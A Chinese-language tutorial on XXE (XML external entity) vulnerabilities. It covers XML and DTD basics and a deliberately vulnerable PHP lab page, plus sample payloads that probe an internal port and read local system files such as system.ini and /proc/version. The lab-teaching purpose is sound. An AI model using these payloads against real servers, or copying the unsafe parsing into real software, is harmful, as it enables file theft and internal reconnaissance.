XXE:XML外部实体引入

XXE漏洞

如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞

漏洞利用流程

1.客户端发送xml文件,其中dtd存在恶意的外部实体引用

2.服务器进行解析

3.服务器返回实体引用内容

危害:任意文件读取,系统命令执行

实例

靶场代码[可替换为pikachu靶场]

XML 复制代码
<head><meta charset=utf-8>
	<title>xxe测试</title>
</head>
<body>
	<form action='' method='post'>xml数据:<br>
		<textarea type="text" name="data"></textarea>
		<br><input type='submit' value='提交' name='sub'>
	</form>
</body>

<?php
  date_default_timezone_set("PRC");
  if(!empty($_POST['sub'])){ 
  	$data= $_POST['data'];
    $xml = simplexml_load_string($data);
    print($xml); 
  }
?>

页面效果

1.使用xxe获取服务器端口信息

paylod

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "http://127.0.0.1:3306">]>

<BookInfo>
&xxe;
</BookInfo>

运行逻辑

  • 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
  • 然后,解析器会尝试解析xxe实体,根据定义,会向http://127.0.0.1:3306发起请求,尝试获取数据。
  • 如果端口开启,会正常响应,如果关闭页面加载异常

2.任意文件读取

paylod

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "file:///c://windows//system.ini">]>

<BookInfo>
&xxe;
</BookInfo>

在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。

windows路径:file:///c://windows//system.ini

linux路径:file:///proc/version

XML基础

XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强

用途:存储配置文件,数据交换

XML格式要求

XML文档必须有根元素
XML文档必须有关闭标签
XML标签对大小写敏感
XML元素必须被正确的嵌套
XML属性必须加引号

基础XML内容

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<BookInfo>
    <Book>
        <Title>书名</Title>
        <Author>张三</Author>
        <Publisher>出版社</Publisher>
        <PublicationYear>2024</PublicationYear>
        <ISBN>6226097558881666</ISBN>
        <Genre>类型</Genre>
        <Price>1000</Price>
        <Description>书籍简介</Description>
    </Book>
    <Seller>
        <Id>6222083803003983</Id>
        <Name>李四</Name>
    </Seller>
</BookInfo>

文档构成

文档第一行为xml声明文件描述xml版本及编码信息

<?xml version="1.0" encoding="UTF-8"?>

文档根元素为 <BookInfo> 闭合标签为 </BookInfo>

文档根元素下具有 <Book> 和 <Seller> 子元素

其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名

这些元素构建成了·xml文档对信息进行描述和传递

XML文档规范

当xml文件内容过多时,为防止内容混乱

引入了DTD(文档类型描述)用于声明文档结构

DTD定义了文档结构及元素的规则

DTD构成

DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则

XML 复制代码
<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>
  1. 文件类型声明 : !DOCTYPE

关键字DOCTYPE 表明此文件根元素为BookInfo

  1. ...\] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。

关键字ELEMENT 定义元素下有哪些子元素

DTD实体的定义

实体 相当于提前定义的全局变量的值,可在文档中进行引用

实体的定义

关键字:ENTITY

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>

内部实体的引用

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>

页面效果

外部实体文件及引用

外部实体文件

XML 复制代码
<!ENTITY name "xiaoming">

文件引用

DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd"    >

]>

<BookInfo>
<name>&name;</name>
</BookInfo>

完整的xml文档内容

XML 复制代码
<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>

<!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL">

<!-- 第三部分:文档元素 -->
<note>
  <to>Dave</to>
  <from>GiGi</from>
  <head>Reminder</head>
  <body>fish together</body>
</note>
相关推荐
cocologin1 小时前
RIP 技术深度解析
运维·网络·网络协议
cv高级工程师YKY1 小时前
SRE - - PV、UV、VV、IP详解及区别
大数据·服务器·uv
庸子1 小时前
基于Jenkins和Kubernetes构建DevOps自动化运维管理平台
运维·kubernetes·jenkins
Lpy25691 小时前
Docker Desktop 安装到D盘(包括镜像下载等)+ 汉化
运维·docker·容器
眠修2 小时前
Kuberrnetes 服务发布
linux·运维·服务器
好奇的菜鸟2 小时前
Docker 配置项详解与示例
运维·docker·容器
xcs194053 小时前
集运维 麒麟桌面版v10 sp1 2403 aarch64 离线java开发环境自动化安装
运维·自动化
BAOYUCompany3 小时前
暴雨服务器成功中标华中科技大学集成电路学院服务器采购项目
运维·服务器
超龄超能程序猿4 小时前
Bitvisse SSH Client 安装配置文档
运维·ssh·github
奈斯ing4 小时前
【Redis篇】数据库架构演进中Redis缓存的技术必然性—高并发场景下穿透、击穿、雪崩的体系化解决方案
运维·redis·缓存·数据库架构